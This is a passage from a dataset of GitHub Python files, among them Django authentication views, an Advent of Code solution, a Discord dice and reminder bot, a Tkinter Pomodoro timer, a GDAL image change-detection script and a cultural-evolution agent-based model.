HttpResponse\r\nfrom django.shortcuts import redirect\r\nfrom django.template.loader import render_to_string\r\nfrom django.utils.encoding import force_bytes, force_text\r\nfrom django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode\r\nfrom django.views import View\r\nfrom django.views.generic.edit import FormView\r\n\r\nfrom todolist.authentication.forms import SignupForm, LoginForm\r\nfrom ..settings import APIserver, domain\r\nfrom ..models import UserToken\r\n\r\n\r\nclass SignupView(FormView):\r\n template_name = 'signup.html'\r\n form_class = SignupForm\r\n success_url = '.'\r\n\r\n def form_valid(self, form):\r\n user = form.save(commit=False)\r\n user.is_active = False\r\n user.save()\r\n send_confirmation_email(user)\r\n return HttpResponse('Please confirm your email.')\r\n\r\n\r\nclass ActivateView(View):\r\n def get(self, request, **kwargs):\r\n uidb64 = kwargs.get('uidb64', None)\r\n token = kwargs.get('token', None)\r\n uid = force_text(urlsafe_base64_decode(uidb64))\r\n try:\r\n user = User.objects.get(pk=uid)\r\n except(TypeError, ValueError, OverflowError, User.DoesNotExist):\r\n user = None\r\n if user and token:\r\n if default_token_generator.check_token(user, token)\\\r\n and not user.is_active:\r\n try:\r\n r = requests.post(APIserver.format('users/'), data={\r\n \"username\": user.username,\r\n \"password\": user.password\r\n })\r\n except ConnectionError:\r\n return HttpResponse('Failed to connect to API server')\r\n except:\r\n return HttpResponse('Something is wrong!')\r\n if r.ok:\r\n user.is_active = True\r\n user.save()\r\n obtain_auth_token(user)\r\n login(request, user)\r\n return redirect('/todolists/')\r\n elif r.status_code == 400:\r\n return HttpResponse('User with this name already exists')\r\n else:\r\n return HttpResponse('Server error ' + str(r.status_code))\r\n return HttpResponse('Activation link is invalid!')\r\n\r\n\r\nclass LoginView(FormView):\r\n template_name = 'login.html'\r\n form_class = LoginForm\r\n success_url = '/todolists/'\r\n\r\n def form_valid(self, form):\r\n user = form.get_user()\r\n if user.is_active:\r\n check_auth_token(user)\r\n login(self.request, user)\r\n return redirect('/todolists/')\r\n send_confirmation_email(user)\r\n return HttpResponse('Please confirm your email.'\r\n ' A link has been sent to {}.'\r\n .format(user.email))\r\n\r\n\r\ndef send_confirmation_email(user):\r\n message = render_to_string('activation_email.html', {\r\n 'user': user,\r\n 'domain': domain,\r\n 'uid': urlsafe_base64_encode(force_bytes(user.pk)),\r\n 'token': default_token_generator.make_token(user),\r\n })\r\n mail_subject = 'Todolist account activation'\r\n email = EmailMessage(mail_subject, message, to=[user.email])\r\n email.send()\r\n\r\n\r\ndef obtain_auth_token(user):\r\n try:\r\n response = requests.post(APIserver.format('api-token-auth/'), data={\r\n 'username': user.username,\r\n 'password': user.password\r\n })\r\n print(response.text)\r\n except:\r\n return None\r\n if response.ok:\r\n token = response.json().get('token', None)\r\n UserToken.objects.create(user=user, token=token)\r\n return token\r\n return None\r\n\r\n\r\ndef check_auth_token(user):\r\n try:\r\n token = user.usertoken.token\r\n except:\r\n token = obtain_auth_token(user)\r\n return token\r\n","repo_name":"gelvlad/djangolab","sub_path":"todolist/authentication/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39495533143","text":"#opens file that contains elf calorie data\r\nfile = open('Input.txt','r')\r\n\r\n#reads the file and splits the elf calories by finding the blank lines\r\nlines = file.read()\r\n\r\ncommands = lines.split('\\n')\r\n\r\ndirectoriesKey = {}\r\n\r\ndirectoriesNotToConsider = set()\r\n\r\ncurrentDirectory = ' '\r\n\r\n\r\nfor command in commands:\r\n\r\n # print('stuck in loop 1')\r\n\r\n command = command.strip()\r\n\r\n\r\n if command.startswith('$ cd'):\r\n\r\n command = command[2:]\r\n\r\n directorySym = command.split(' ')\r\n \r\n\r\n if directorySym[-1] == '..':\r\n \r\n # list out keys and values separately\r\n key_list = list(directoriesKey.keys())\r\n val_list = list(directoriesKey.values())\r\n \r\n \r\n # print key with value of current directory\r\n for indx in range(len(val_list)):\r\n \r\n if currentDirectory in val_list[indx]: \r\n break\r\n\r\n currentDirectory = key_list[indx] \r\n\r\n elif directorySym[-1] != '/':\r\n \r\n directoryFull = currentDirectory + '-' + directorySym[-1]\r\n\r\n if directoryFull not in directoriesKey[currentDirectory]:\r\n directoriesKey[currentDirectory].append(directoryFull)\r\n \r\n \r\n if directoryFull not in directoriesKey.keys():\r\n directoriesKey[directoryFull] = []\r\n \r\n currentDirectory = directoryFull\r\n\r\n else:\r\n\r\n if directorySym[-1] not in directoriesKey.keys():\r\n directoriesKey[directorySym[-1]] = []\r\n\r\n currentDirectory = directorySym[-1]\r\n\r\n elif command.startswith('$ ls'):\r\n continue\r\n\r\n else:\r\n\r\n line = command.split('\\n')\r\n\r\n for info in line:\r\n if info.startswith('dir'):\r\n dirName = info.split(' ')[-1]\r\n dirNameFull = currentDirectory + '-' + dirName\r\n if dirNameFull not in directoriesKey.keys():\r\n directoriesKey[dirNameFull] = []\r\n if dirNameFull not in directoriesKey[currentDirectory]:\r\n directoriesKey[currentDirectory].append(dirNameFull)\r\n # print(f'directory {dirName}')\r\n else:\r\n fileSize = int(info.split(' ')[0])\r\n \r\n directoriesKey[currentDirectory].append(fileSize)\r\n\r\n\r\n# list out keys and values separately\r\nkey_list = list(directoriesKey.keys())\r\nval_list = list(directoriesKey.values())\r\n\r\n\r\nfor key in key_list:\r\n \r\n # print key with value of current directory\r\n for indx in range(len(val_list)):\r\n\r\n if key in val_list[indx]:\r\n key2changevalue = key_list[indx]\r\n \r\n \r\n # directoriesKey[key2changevalue] += directoriesKey[key]\r\n directoriesKey[key2changevalue].extend(directoriesKey[key])\r\n\r\n \r\nDirectBytesInfo = {}\r\n\r\n# list out keys and values separately\r\nkey_list = list(directoriesKey.keys())\r\nval_list = list(directoriesKey.values())\r\n\r\nfor indx in range(len(val_list)):\r\n \r\n bytesInDirectory = 0\r\n \r\n for value in val_list[indx]:\r\n\r\n if isinstance(value,int):\r\n bytesInDirectory += value\r\n \r\n DirectBytesInfo[key_list[indx]] = bytesInDirectory\r\n\r\n\r\noverallDirectory = DirectBytesInfo['/']\r\n\r\nunusedSpaceOrig = 7e7-overallDirectory\r\n\r\ndel(DirectBytesInfo['/'])\r\n\r\nfor bytes in sorted(DirectBytesInfo.values()):\r\n \r\n unusedSpace = bytes + unusedSpaceOrig\r\n \r\n if unusedSpace >= 3e7:\r\n print(f'Size of smallest is {bytes}')\r\n break\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"GrantEyer/Advent-of-Code-2022-","sub_path":"Dec 7/Part_2.py","file_name":"Part_2.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13655116078","text":"import asyncio\nimport random\nimport re\nimport sys\nimport time\nfrom typing import Optional, Literal\n\nimport discord\nfrom discord import Message\nfrom discord.ext import commands\nfrom discord.ext.commands import Greedy, Context\n\nfrom functions.dice import roll, main_regex, cod_regex, exalted_regex\nfrom functions.eightball import eightball\nfrom functions.reminder import reminder, check_and_clear_reminders\nfrom functions.quote import quote\nfrom database import connect\n\nclient = commands.Bot(command_prefix='.', intents=discord.Intents.all())\ntoken = sys.argv[1]\ndatabase_uri = sys.argv[2]\n\ndatabase = connect(database_uri)['public']\nreminders_table = database['reminders']\nquotes_table = database['quotes']\n\n\n@client.hybrid_command(name='echo')\nasync def cmd_echo(ctx):\n await ctx.send(format_response(ctx.author, 'Echo!'))\n\n\n@client.hybrid_command(name='repeat')\nasync def cmd_repeat(ctx, *, message_to_repeat: str):\n await ctx.send(format_response(ctx.author, message_to_repeat))\n\n\n@client.hybrid_command(name='8ball')\nasync def cmd_eightball(ctx, *, query: Optional[str]):\n response = eightball(query)\n await ctx.send(format_response(ctx.author, response))\n\n\n@client.hybrid_command(name='ch')\nasync def cmd_choose(ctx, *, query):\n response = random.choice(query.split(','))\n await ctx.send(format_response(ctx.author, response))\n\n\n@client.hybrid_command(name='roll')\nasync def cmd_roll(ctx, *, query: Optional[str]):\n response = roll(query)\n await ctx.send(format_response(ctx.author, response))\n\n\n@client.hybrid_command(name='remind')\nasync def cmd_reminder(ctx, *, query: str):\n response = reminder(ctx, query, reminders_table)\n await ctx.send(format_response(ctx.author, response))\n\n\n@client.hybrid_command(name='checkreminders')\nasync def cmd_check_reminder(_ctx: Optional[Context]):\n result = check_and_clear_reminders(reminders_table)\n for x in result:\n await client.get_channel(x['chan_id']).send('{}: {}'.format(x['author'], x['message']))\n\n\n@client.hybrid_command(\"quote\")\nasync def cmd_quote(ctx, *, query: Optional[str]):\n response = quote(ctx, query, quotes_table)\n await ctx.send(format_response(ctx.author, response))\n\n\n# Umbra's Sync\n@client.command()\n@commands.guild_only()\n@commands.is_owner()\nasync def sync(ctx: Context, guilds: Greedy[discord.Object], spec: Optional[Literal[\"~\", \"*\", \"^\"]] = None) -> None:\n if not guilds:\n if spec == \"~\":\n synced = await ctx.bot.tree.sync(guild=ctx.guild)\n elif spec == \"*\":\n ctx.bot.tree.copy_global_to(guild=ctx.guild)\n synced = await ctx.bot.tree.sync(guild=ctx.guild)\n elif spec == \"^\":\n ctx.bot.tree.clear_commands(guild=ctx.guild)\n await ctx.bot.tree.sync(guild=ctx.guild)\n synced = []\n else:\n synced = await ctx.bot.tree.sync()\n\n await ctx.send(\n f\"Synced {len(synced)} commands {'globally' if spec is None else 'to the current guild.'}\"\n )\n return\n\n ret = 0\n for guild in guilds:\n try:\n await ctx.bot.tree.sync(guild=guild)\n except discord.HTTPException:\n pass\n else:\n ret += 1\n\n await ctx.send(f\"Synced the tree to {ret}/{len(guilds)}.\")\n\n\n@client.event\nasync def on_message(msg: Message):\n if msg.author != client.user:\n if (type(msg.clean_content) is str and len(msg.clean_content) > 0 and msg.clean_content[0].isnumeric()) and \\\n (len(re.findall(main_regex, msg.clean_content)) > 0 or\n len(re.findall(cod_regex, msg.clean_content)) > 0 or\n len(re.findall(exalted_regex, msg.clean_content)) > 0):\n response = roll(msg.clean_content)\n if response is ValueError: # TODO:overzealous regex, consider fixing later\n return\n await msg.channel.send(format_response(msg.author, response))\n await client.process_commands(msg)\n\n\n@client.event\nasync def on_ready():\n client.loop.create_task(reminder_schedule(60))\n\n\nasync def reminder_schedule(delay):\n next_time = time.time() + delay\n while True:\n await asyncio.sleep(max(0, next_time - time.time()))\n await cmd_check_reminder(None)\n next_time += (time.time() - next_time) // delay * delay + delay\n\n\ndef format_response(author, response):\n return author.mention + ': ' + response\n\n\nclient.run(token)\n","repo_name":"adrmdel/mechyreborn","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"75119117226","text":"a = int(input(\"Year: \")) # Input start here.\nb = int(input(\"Month number: \"))\nc = int(input(\"Date: \"))\n\ndef function(a): \n if a%4 == 0 and a%100 != 0:\n return \"leap\"\n elif a%100 == 0 and a%400 != 0:\n return \"not leap\"\n elif a%100 == 0 and a%400 == 0:\n return \"leap\"\n else:\n return \"not leap\"\n\n\n # Algorith start here.\n\nd = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] #Non-leap Year.\ne = [31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] #Leap Year\n\ntotaldays1 = 0\ntotaldays2 = 0\n\nif function(a) == \"leap\" :\n for i in e[0:(b-1)]:\n totaldays2 += i\nelif function(a) == \"not leap\" :\n for i in d[0:(b-1)]:\n totaldays1 += i\n\nf = totaldays1 + c\ng = totaldays2 + c\n\nj = a -1\ny = abs(int(str(j)[-2:]))\nm = int((y/4))\nn = int(str(j)[:2])\nh = int((n*100) % 400)\n\ndef century(h) :\n\n if h == 0:\n\n return '0'\n\n elif h == 100:\n\n return '5'\n\n elif h == 200:\n\n return '3'\n\n elif h == 300:\n\n return '1'\n\nk = int(century(h))\n\ndef last():\n if function(a) == \"not leap\":\n return (f + y + m + k)%7\n elif function(a) == \"leap\":\n return (g + y + m + k)%7\n\ndef day():\n if last() == 0:\n return \"Day: Sunday\"\n elif last() == 1:\n return \"Day: Monday\"\n elif last() == 2:\n return \"Day: Tuesday\"\n elif last() == 3:\n return \"Day: Wednesday\"\n elif last() == 4:\n return \"Day: Thursday\"\n elif last() == 5:\n return \"Day: Friday\"\n elif last() == 6:\n return \"Day: Saturday\"\n\nprint(day()) # Final output.\n","repo_name":"Krishan-Kant-11/Find_Day_of-any-Date","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8513568529","text":"from odoo import models\n\n\nclass KsResConfigSettingsInherit(models.TransientModel):\n _inherit = 'res.config.settings'\n\n def set_values(self):\n \"\"\"\n Adding security rule for product tag\n\n :return: None\n \"\"\"\n super(KsResConfigSettingsInherit, self).set_values()\n rule = self.env.ref('ks_woocommerce.ks_woo_product_tag_security_rule', False)\n if rule:\n rule.write({'active': not bool(self.company_share_product)})\n","repo_name":"hilinares1/ks_woocommerce","sub_path":"models/ks_res_config.py","file_name":"ks_res_config.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"611962527","text":"#!/usr/bin/python\n\nimport pandas as pd\nimport numpy as np\n\n# Author: Grigori Fedorets, Meg Schwamb\n\n\ndef PPResolveMagnitudeInFilter(padain,mainfilter,othercolours,observing_filters):\n \"\"\"\n PPResolveMagnitudeInFilter.py\n \n Description: This tasks selects a colour offset relevant to each filter at each given pointing\n and calculates the colour in each given filter. The apparent magnitude has already been\n calculated in the main filter.\n \n \n Mandatory input: string, padain, name of input pandas dataframe\n string, mainfilter, name of the main filter in which the apparent magnitude has been calculated\n array of strings, othercolours, names of colour offsets (e.g. r-i)\n array of strings, observing_filters, names of resulting colours, main filter is the first one, followed \n in order by resolved colours, such as, e.g. 'r'+'g-r'='g'. They should be given in the following order: \n main filter, resolved filters in the same order as respective other colours.\n \n Output: updated padain\n \n Usage: padaout=PPResolveMagnitudeInFilter(padain,mainfilter,othercolours,observing_filters)\n \n \"\"\"\n \n apparent_mag=np.zeros(len(padain), dtype=float)\n \n \n # for cases where the input filter is the main filter\n inRelevantFilterList=(padain['optFilter']==mainfilter)\n inRelevantFilter=padain[inRelevantFilterList]\n if(len(inRelevantFilter)>0):\n apparent_mag[inRelevantFilterList]=0.0\n \n # for all other cases, where the offset is required\n for i in np.arange(len(othercolours)):\n inRelevantFilterList=(padain['optFilter']==observing_filters[i+1])\n inRelevantFilter=padain[inRelevantFilterList]\n if(len(inRelevantFilter)>0):\n apparent_mag[inRelevantFilterList]=inRelevantFilter[othercolours[i]]\n\n padain['MagnitudeInFilter'] = padain[mainfilter] + apparent_mag\n \n return padain \n\n","repo_name":"smmatthews/survey_simulator_post_processing","sub_path":"surveySimPP/modules/PPResolveMagnitudeInFilter.py","file_name":"PPResolveMagnitudeInFilter.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"25442359762","text":"\n# Day 28 Pomodoro - Timer using Tkinter\n\nfrom tkinter import *\n\n# ---------------------------- CONSTANTS ------------------------------- #\nPINK = \"#e2979c\"\nRED = \"#e7305b\"\nGREEN = \"#9bdeac\"\nYELLOW = \"#FFEEAD\"\nFONT_NAME = \"Courier\"\nWORK_MIN = 1\nSHORT_BREAK_MIN = 1\nLONG_BREAK_MIN = 1\nREPS = 0\nTICKS = \"\"\ntimer_clock = None\n\n# ---------------------------- TIMER RESET ------------------------------- # \n\ndef reset_timer():\n '''Resets the timer'''\n window.after_cancel(timer_clock)\n canvas.itemconfig(timer_text, text=\"00:00\")\n TICKS = \"\"\n tick_label.config(text=TICKS, fg=GREEN,bg=YELLOW)\n timer_label.config(text=\"Timer\", fg=GREEN,bg=YELLOW)\n global REPS\n REPS = 0\n \n# ---------------------------- TIMER MECHANISM ------------------------------- # \n\ndef start_timer():\n '''Starts the timer'''\n global REPS\n REPS+=1\n if REPS%8 == 0:\n timer_label.config(text=\"Break\", fg=RED,bg=YELLOW)\n count_down(LONG_BREAK_MIN*60)\n elif REPS %2 == 0:\n timer_label.config(text=\"Break\", fg=PINK,bg=YELLOW)\n count_down(SHORT_BREAK_MIN*60) \n else:\n timer_label.config(text=\"Work\", fg=GREEN,bg=YELLOW)\n count_down(WORK_MIN*60)\n\n# ---------------------------- COUNTDOWN MECHANISM ------------------------------- # \n\ndef count_down(count):\n '''Counts down from count to 0'''\n global TICKS\n count_min = count // 60\n count_sec = count % 60\n \n if count_sec < 10:\n count_sec = f\"0{count_sec}\"\n \n canvas.itemconfig(timer_text, text= f\"{count_min}:{count_sec}\")\n if count > 0:\n global timer_clock\n timer_clock = window.after(1000, count_down, count-1)\n else:\n if REPS % 2 != 0:\n TICKS += \"✔\"\n tick_label.config(text=TICKS, fg=GREEN,bg=YELLOW)\n start_timer()\n\n# ---------------------------- UI SETUP ------------------------------- #\n\n\nwindow = Tk()\nwindow.config(padx=100, pady=50,bg=YELLOW)\nwindow.minsize(width=500, height=300)\nwindow.title(\"Pomodoro Timer\")\n\n\ncanvas = Canvas(width=300, height=300,bg=YELLOW, highlightthickness=0)\ntomato_img = PhotoImage(file=\"Day 28/pomodoro-start/tomato.png\")\ncanvas.create_image(150, 150, image=tomato_img)\ntimer_text = canvas.create_text(150, 178, text=\"00:00\", font=(FONT_NAME, 25, \"bold\"),fill=\"white\")\ncanvas.grid(row=1, column=1)\n\ntimer_label = Label(text=\"Timer\", font=(FONT_NAME, 45, \"bold\"),fg=GREEN,bg=YELLOW)\ntimer_label.grid(row=0, column=1)\ntimer_label.config(padx=20, pady=20)\n\n\nstart_button = Button(text=\"Start\", font=(FONT_NAME, 12, \"bold\"),highlightthickness=0,command=start_timer) #command=start_timer\nstart_button.grid(row=2, column=0)\nstart_button.config(padx=5, pady=5)\n\nreset_button = Button(text=\"Reset\", font=(FONT_NAME, 12, \"bold\"),highlightthickness=0,command=reset_timer) #command=reset_timer\nreset_button.grid(row=2, column=2)\nreset_button.config(padx=5, pady=5)\n\ntick_label = Label(font=(FONT_NAME, 20, \"bold\"),fg=GREEN,bg=YELLOW)\ntick_label.grid(row=3, column=1)\n\nwindow.mainloop()","repo_name":"Amar1709/100Days_Python","sub_path":"Day_28/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25708820400","text":"'''\nCreate a script that asks a user to input an integer, checks for the\nvalidity of the input type, and displays a message depending on whether\nthe input was an integer or not.\n\nThe script should keep prompting the user until they enter an integer.\n\n'''\nwhile True:\n try:\n user_input = int(input(\"Please type an integer: \"))\n if user_input/1 == user_input:\n print(\"input is a number\")\n break\n except Exception:\n print(f'Your input is not an integer.')\n","repo_name":"igorlongoria/python-fundamentals","sub_path":"09_exceptions/09_05_check_for_ints.py","file_name":"09_05_check_for_ints.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9743345068","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\n\"\"\"\n图像变化检测\n同一地区不同时间的图像进行逐像素作差,检测变化区域\n\"\"\"\n\nfrom scipy import ndimage\n\ntry:\n from osgeo import gdal\nexcept:\n import gdal\nimport numpy as np\nimport os.path as path\nfrom datetime import datetime\nimport sys\n\n\nstart_time=datetime.now()\n# 为了支持中文路径,请添加下面这句代码\ngdal.SetConfigOption(\"GDAL_FILENAME_IS_UTF8\",\"NO\")\n\ngdal.AllRegister() #注册驱动\n\n\nassert len(sys.argv)>=4,\"参数不足 使用参考:\\n python test.py 图一路�� 图二路径 输出结果路径\"\n\nimg1_path=sys.argv[1]\nimg2_path=sys.argv[2]\n\nimg_name=img2_path.split('/')[-1].split('.')[0] # Linux 为'/' ;windows 为'\\\\'\n\nsrc_ds1=gdal.Open(img1_path)\nibands1=src_ds1.RasterCount\nxcount1=src_ds1.RasterXSize\nycount1=src_ds1.RasterYSize\n\ngeoTrans1 = src_ds1.GetGeoTransform()\nsrcPro1=src_ds1.GetProjection()\n\nassert ibands1>=3 ,'%s波段数不足3'%img1_path\n\ndata_type=np.float32\n\nsrcband = src_ds1.GetRasterBand(1)\n# R1 = srcband.ReadAsArray(0, 0, xcount1, ycount1).astype(data_type)\nR1=srcband.ReadRaster(0,0,xcount1,ycount1)\nR1=np.fromstring(R1,np.uint8)\nR1=np.reshape(R1,[ycount1,xcount1]).astype(data_type)\n\n\nsrcband = src_ds1.GetRasterBand(2)\n# G1 = srcband.ReadAsArray(0, 0, xcount1, ycount1).astype(data_type)\nG1=srcband.ReadRaster(0,0,xcount1,ycount1)\nG1=np.fromstring(G1,np.uint8)\nG1=np.reshape(G1,[ycount1,xcount1]).astype(data_type)\n\nsrcband = src_ds1.GetRasterBand(3)\n# B1 = srcband.ReadAsArray(0, 0, xcount1, ycount1).astype(data_type)\nB1=srcband.ReadRaster(0,0,xcount1,ycount1)\nB1=np.fromstring(R1,np.uint8)\nB1=np.reshape(R1,[ycount1,xcount1]).astype(data_type)\n\nsrc_ds1=None\nsrc_ds2 = gdal.Open(img2_path)\nibands2 = src_ds2.RasterCount\nxcount2 = src_ds2.RasterXSize\nycount2 = src_ds2.RasterYSize\n\ngeoTrans2 = src_ds2.GetGeoTransform()\nsrcPro2=src_ds2.GetProjection()\n\nassert ibands2>=3 ,'%s波段数不足3'%img2_path\n\nassert ibands1==ibands2 ,'两张图像波段不一致'\nassert xcount1==xcount2 ,'两张图像宽不一致'\nassert ycount1==ycount2,'两张图像高不一致'\nassert geoTrans1==geoTrans2,'两张图像空间参考不一致'\nassert srcPro1==srcPro2,'两张图像投影不一致'\n\nsrcband = src_ds2.GetRasterBand(1)\n# R2 = srcband.ReadAsArray(0, 0, xcount2, ycount2).astype(data_type)\nR2=srcband.ReadRaster(0,0,xcount2,ycount2)\nR2=np.fromstring(R2,np.uint8)\nR2=np.reshape(R2,[ycount2,xcount2]).astype(data_type)\n\nsrcband = src_ds2.GetRasterBand(2)\n# G2 = srcband.ReadAsArray(0, 0, xcount2, ycount2).astype(data_type)\nG2=srcband.ReadRaster(0,0,xcount2,ycount2)\nG2=np.fromstring(G2,np.uint8)\nG2=np.reshape(G2,[ycount2,xcount2]).astype(data_type)\n\nsrcband = src_ds2.GetRasterBand(3)\n# B2 = srcband.ReadAsArray(0, 0, xcount2, ycount2).astype(data_type)\nB2=srcband.ReadRaster(0,0,xcount2,ycount2)\nB2=np.fromstring(B2,np.uint8)\nB2=np.reshape(B2,[ycount2,xcount2]).astype(data_type)\n\n# 每张图各自像素作逐差\nimg1=abs(R1-G1)+abs(R1-B1)+abs(G1-B1)\n\nimg2=abs(R2-G2)+abs(R2-B2)+abs(G2-B2)\n\n# 像素缩放\nimg1=(img1-np.min(img1,0))/(np.max(img1,0)-np.min(img1,0)+0.001)\nimg2=(img2-np.min(img2,0))/(np.max(img2,0)-np.min(img2,0)+0.001)\n\n\nimg=abs(img1-img2)\n\nimg=img-np.mean(img,0)*1.1+np.var(img,0)*2 # 减去阈值\n\n# 将小于0的重置为0\nimg=np.maximum(img,0)\n\n# 中值滤镜更好地保留边缘\nimg = ndimage.median_filter(img, 5)\n\n# 如果原始影像像素值为0,即没有数据不做检测,将img对应的位置像素值设为0\nmask1=(R1!=0).astype(np.float32)\nmask2=(R2!=0).astype(np.float32)\nimg=img*mask1*mask2\n\n# 输出结果图像\n\nraster_fn=path.join(sys.argv[3],img_name+'_mask.tif')\n\ntarget_ds = gdal.GetDriverByName('GTiff').Create(raster_fn, xcount1, ycount1, 1, gdal.GDT_Byte)\ntarget_ds.SetGeoTransform(geoTrans1) # 设置掩膜的地理参考\ntarget_ds.SetProjection(srcPro1) # 设置掩膜坐标引用\n\ntarget_ds.GetRasterBand(1).WriteArray(img, 0, 0)\n# target_ds.GetRasterBand(1).WriteRaster(0,0,xcount1,ycount1,img.tobytes())\n# [target_ds.GetRasterBand(1).WriteArray(img, 0, i) for i in ycount1]\ntarget_ds.FlushCache()\n\ntarget_ds2=None\nsrc_ds=None\nend_time=datetime.now()\nprint((end_time-start_time).total_seconds())\n","repo_name":"wucng/Tensorflow","sub_path":"图像对比检测/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":4183,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"27481597806","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nABM for \"Is the cultural evolution of technology combinatorial or cumulative?\".\r\n\r\n@author: James Winters\r\n\"\"\"\r\n\r\nimport editdistance\r\nfrom problemspace import *\r\nfrom procedures import *\r\nfrom ag_init import *\r\n\r\ndef simulation(run=0,n=100,generations=2000,TS=10,modify=True,combine=True,loss=0.5):\r\n\tprob,agents,positions,memory = init(n=n,difficulty=2)\r\n\tfor gen in range(0,generations):\r\n\t\tfor ts in range(0,TS):\r\n\t\t\trandom.shuffle(agents)\r\n\t\t\tif gen > 0 and ts == 0:\r\n\t\t\t\t#Inheritance process\r\n\t\t\t\tfor agent in agents:\r\n\t\t\t\t\tlost = np.random.choice([True,False],1,p=[loss,1-loss])\r\n\t\t\t\t\tif lost == True:\r\n\t\t\t\t\t\tsol_len = random.choice([2,3,4])\r\n\t\t\t\t\t\tsol_space = generate_binary(sol_len)\r\n\t\t\t\t\t\tsol_choice = [random.choice(sol_space),random.choice(sol_space),random.choice(sol_space),random.choice(sol_space)]\r\n\t\t\t\t\t\tmemory.update({agent:sol_choice})\r\n\t\t\tfor agent in agents:\r\n\t\t\t\tproblem = positions[agent]\r\n\t\t\t\tcurrent = sorted(memory[agent],key=lambda x: editdistance.eval(x,problem))[0]\r\n\t\t\t\t#Combination and Modification\r\n\t\t\t\tif combine == True and modify == True:\r\n\t\t\t\t\tag_loc = local(sol=current,prob=problem)\r\n\t\t\t\t\tag_com = combination(agent=agent,memory=memory,problem=problem)\r\n\t\t\t\t\tsol_pool = [current,ag_loc,ag_com]\r\n\t\t\t\t\tag_sols = sorted(sol_pool, key=lambda x: editdistance.eval(x,problem))\r\n\t\t\t\t#Modification\r\n\t\t\t\telif combine == False and modify == True:\r\n\t\t\t\t\tag_loc = local(sol=current,prob=problem)\r\n\t\t\t\t\tsol_pool = [current,ag_loc]\r\n\t\t\t\t\tag_sols = sorted(sol_pool, key=lambda x: editdistance.eval(x,problem))\r\n\t\t\t\t#Combination\r\n\t\t\t\telif combine == True and modify == False:\r\n\t\t\t\t\tag_com = combination(agent=agent,memory=memory,problem=problem)\r\n\t\t\t\t\tsol_pool = [current,ag_com]\r\n\t\t\t\t\tag_sols = sorted(sol_pool, key=lambda x: editdistance.eval(x,problem))\r\n\t\t\t\t#Inheritance only\r\n\t\t\t\telse:\r\n\t\t\t\t\tsol_pool = [current]\r\n\t\t\t\t\tag_sols = sorted(sol_pool, key=lambda x: editdistance.eval(x,problem))\r\n\r\n\t\t\t\tif ag_sols[0] not in memory[agent]:\r\n\t\t\t\t\tsol_list = sorted(memory[agent],key=lambda x: editdistance.eval(x,problem))\r\n\t\t\t\t\tdel sol_list[-1]\r\n\t\t\t\t\tsol_list.append(ag_sols[0])\t\r\n\t\t\t\t\tmemory.update({agent:sol_list})\r\n\t\t\t\t\r\n\t\t\t\t#Exploration\r\n\t\t\t\tif ts == 9:\r\n\t\t\t\t\tag_current = sorted(memory[agent],key=lambda x: editdistance.eval(x,problem))[0]\r\n\t\t\t\t\tloc = positions[agent]\r\n\t\t\t\t\twhile len(ag_current) >= len(loc):\r\n\t\t\t\t\t\tnew_loc = movement(prob=prob,loc=loc,pr=[1/3,1/3,1/3])\r\n\t\t\t\t\t\tpositions.update({agent:new_loc})\r\n\t\t\t\t\t\tif new_loc not in prob:\r\n\t\t\t\t\t\t\tprob.update({new_loc:['*','+','-']})\r\n\t\t\t\t\t\tloc = positions[agent]\r\n\r\n\t\t\tprob_list = [len(positions[ag]) for ag in agents]\r\n\t\t\tcomplexity_ave = sum(prob_list) / len(prob_list)\r\n\t\t\tcomplex_min = min(prob_list)\r\n\t\t\tcomplex_max = max(prob_list)\r\n\r\n\t\t\tprint('Run: {}, Loss: {}, Gen: {}, TS: {}, Problem Complexity: {}'.format(run,loss,gen,ts,complex_max))\r\n\r\n\t\t\t#Writing to file\r\n\t\t\timport os\r\n\t\t\tdir_path = os.path.dirname(os.path.realpath(__file__))\r\n\t\t\tif combine == True and modify == True:\r\n\t\t\t\tsoc = 'combo_local'\r\n\t\t\telif combine == False and modify == True:\r\n\t\t\t\tsoc = 'local'\r\n\t\t\telif combine == True and modify == False:\r\n\t\t\t\tsoc = 'combo'\r\n\t\t\telse:\r\n\t\t\t\tsoc = 'inherit'\r\n\t\t\twith open(dir_path+'\\\\output\\\\{}_loss{}_gens{}.csv'.format(soc,loss,generations),'a') as output:\r\n\t\t\t\toutput.write(str(run)+';'+str(gen)+';'+str(ts)+';'+str(loss)+';'+str(modify)+';'+str(combine)+';'+str(complex_max)+'\\n')\r\n\r\n### Example Run\r\n# run=0\r\n# n=100\r\n# generations=2000\r\n# TS=10\r\n# modify=True\r\n# combine=True\r\n# loss=0.5\r\n\r\n# simulation(run=run,n=n,generations=generations,TS=TS,modify=modify,combine=combine,loss=loss)\r\n","repo_name":"j-winters/cetech","sub_path":"model/abm.py","file_name":"abm.py","file_ext":"py","file_size_in_byte":3622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2594161568","text":"from datatypes.database import 